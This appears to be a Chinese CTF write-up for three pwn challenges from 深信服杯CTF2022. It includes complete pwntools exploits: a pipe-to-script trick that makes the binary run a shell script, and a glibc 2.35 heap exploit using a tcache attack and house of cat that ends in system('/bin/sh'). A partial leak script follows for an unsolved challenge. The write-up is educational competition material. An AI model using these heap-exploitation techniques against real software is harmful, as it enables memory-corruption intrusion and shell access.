0%

深信服杯CTF2022

pipe

1
2
3
4
5
6
pipe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5d6c196bf2c85c2c624a610ec541382acc30bb0, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
case 6:
close(fd);
system("./ctf.sh");
break;
  • "./ctf.sh" 中写 cat flag 就可以了

入侵思路

可以先把 cat flag 写入管道,然后把 pipe_buffer 中的数据写入 "./ctf.sh"

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

arch = 64
challenge = './pipe'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.27.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.16.159.33','45715')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x16D7)\n")
pause()

def cmd(i):
p.sendlineafter("cmd>>>\n",str(i))

def read_from_pipe():
cmd(1)

def write_to_pipe(size,data):
cmd(2)
p.sendlineafter("read size>\n",str(size))
p.sendlineafter("input>",data)

def make_file(path):
cmd(3)
p.sendlineafter("**File path>",path)

def read_file(path,size):
cmd(4)
p.sendlineafter("**File path>",path)
p.sendlineafter("**size?>",size)

def write():
cmd(5)

def close():
cmd(6)

#debug()
p.sendlineafter("file path>","./ctf.sh")

payload = "cat flag\n"
write_to_pipe(len(payload),payload)
write()
close()

p.interactive()

manageheap

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.\n
1
2
3
4
5
6
manageheap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b988b53575c5a8324331c1b492940f6098e71ace, stripped'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
num = LODWORD(chunk_list[index]->num);
if ( i > num )
break;
if ( !strcmp(&chunk_list[index]->chunk_data[8 * i], id) )
{
read(0, &chunk_list[index]->chunk_data[8 * i], 8uLL);
puts("change done.");
return 1LL;
}
  • i==num 时,有8字节的溢出

入侵思路

先利用8字节的溢出来修改 chunk->size,释放后获得 unsorted chunk,接下来执行一次申请操作,泄露出遗留在 chunk 中的 main_arena 和 tcache->next

然后打 tcache attack,把 IO_list_all 写入 tcachebin 中,这里有两个注意点:

  • libc-2.34 及其以上版本会设置 key 值,利用如下公式就可以绕过:
1
2
key = heap_base // 0x1000
target = IO_list_all^key
  • 劫持目标 tcachebin 之前,需要先看看 tcache head->count 的值够不够申请到 IO_list_all(当对应 count 为“0”时,程序将不会申请该 tcachebin 上的 free chunk),比赛时就考虑漏了这个问题,导致 IO_list_all 申请不出来,浪费了很长的时间

在高版本 libc 中,最终劫持控制流的手段就那么几种,比赛时我使用了 house of cat

接下来就是标准的 house of cat 了,IO 流可以如下代码进行触发:

1
2
3
4
5
if ( !read(0, chunk_list[i]->chunk_data, 8 * LODWORD(chunk_list[i]->num)) )
{
puts("something error!");
exit(1);
}
  • 当输入的 chunk_list[i]->num 为“0”时,read 就会执行失败
  • 然后调用 exit 触发 house of cat

由于本题目没有沙盒,我的第一反应是直接写 one_gadget,后来打远程时环境不对,只能用 system("/bin/sh")

当时不知道怎么控制程序的参数,幸好 house of cat 触发后直接执行了 system("aaaaaaaa"),于是我把所有的 "aaaaaaaa" 替换为 "/bin/sh" 然后就 getshell 了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn import *

arch = 64
challenge = './manageheap1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
libc = ELF('libc.so.6')

cmd = "set debug-file-directory ./.debug/\n"
#cmd += "b *$rebase(0x1868)\n"

local = 0
if local:
#p = gdb.debug(challenge,cmd)
p = process(challenge)
else:
p = remote('172.16.159.33','58012')

def cmd(i):
p.sendlineafter("Your Choice: ",str(i))

def add(number,name,id):
cmd(1)
p.sendlineafter("please input your major's number:",str(number))
p.sendafter("please input your name:",name)
p.sendafter("> \n",id)

def dele(index):
cmd(2)
p.sendlineafter("input your idx:",str(index))

def show(index):
cmd(3)
p.sendlineafter("input your idx:",str(index))

def edit(index,id):
cmd(4)
p.sendlineafter("input your idx:",str(index))
p.sendafter("please input your id:",id)

add(0x7,"a"*8,"/bin/sh\x00"*0x7)
add(0x7,"a"*8,"/bin/sh\x00"*0x7)
add(0x7,"a"*8,"/bin/sh\x00"*0x7)
add(0x7,"a"*8,"/bin/sh\x00"*0x7)
add(0x50,"a"*8,"/bin/sh\x00"*0x7)
add(0x50,"a"*8,"/bin/sh\x00"*0x7)
add(0x50,"a"*8,"/bin/sh\x00"*0x7)
edit(2,p64(0x31))
p.send(p64(0x621))

dele(0)
dele(1)
dele(3)
add(8,"a"*0x10,"\n")
show(0)

p.recvuntil("aaaaaaaaaaaaaaaa")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr-0x3f0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

p.recvuntil("Member: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x21a10a
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
libc_puts = libc_base + libc.sym["puts"]
success("IO_list_all >> "+hex(IO_list_all))
success("_IO_wfile_jumps >> "+hex(_IO_wfile_jumps))

main_arena1 = libc_base + 0x219c0a
main_arena2 = libc_base + 0x219ce0
success("main_arena1 >> "+hex(main_arena1))
success("main_arena2 >> "+hex(main_arena2))

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_rbx_ret = libc_base + 0x0000000000090529

key = heap_base // 0x1000
success("key >> "+hex(key))
success("IO_list_all^key >> "+hex(IO_list_all^key))

one_gadgets = [0x50a37,0xebcf1,0xebcf5,0xebcf8]
one_gadget = one_gadgets[0] + libc_base
libc_system = libc_base + libc.sym["system"]
success("one_gadget >> "+hex(one_gadget))
success("libc_system >> "+hex(libc_system))

target_chunk = heap_base + 0x340
target = target_chunk ^ key

edit(0,p64(target))
p.sendline(p64(IO_list_all^key))

next_chain = 0
fake_io_addr = heap_base + 0x430
payload_addr = heap_base
flag_addr = heap_base

fake_IO_FILE = "/bin/sh\x00" #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(libc_system)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

add(0x50,"cccccccc",fake_IO_FILE)
add(6,"cccccccc","cccccccc")

dele(0)
add(6,"cccc",p64(fake_io_addr))
dele(6)
cmd(1)

p.sendlineafter("please input your major's number:",str(0))
p.sendafter("please input your name:","win")

p.interactive()

PS:菜鸡 pwn 手的第一个3血

badshell

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
badshell: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7b723a1405c35735c73c5600c68ee2c53b2a1f33, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

入侵思路

本题目没有做出来,比赛时没有时间做了,赛后复现找不到 wp 也很头痛

cpp 的堆环境很乱,并且逆向出来也很难看,暂时没有找到漏洞点,但通过遗留在 unsorted chunk 中的 main_arena 指针,和遗留在 tcache chunk 中的 next 指针,可以完成泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
touch("1")
touch("2")
mkdir("3")

echo("a","p"*0x780)
echo("2","c")
cat("2")

leak_addr = u64(p.recvuntil("\x7f").ljust(8,"\x00"))
libc_base = leak_addr - 0x1ed063
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
success("free_hook >> "+hex(free_hook))

echo("2","c"*0x11)
cat("2")

p.recvuntil("c"*0x10)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x12a63
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

但程序只要执行过一次 echo 后(必须成功写入数据),再次执行 touchmkdir 都会报错

暂时只能完成泄露了,找不到漏洞点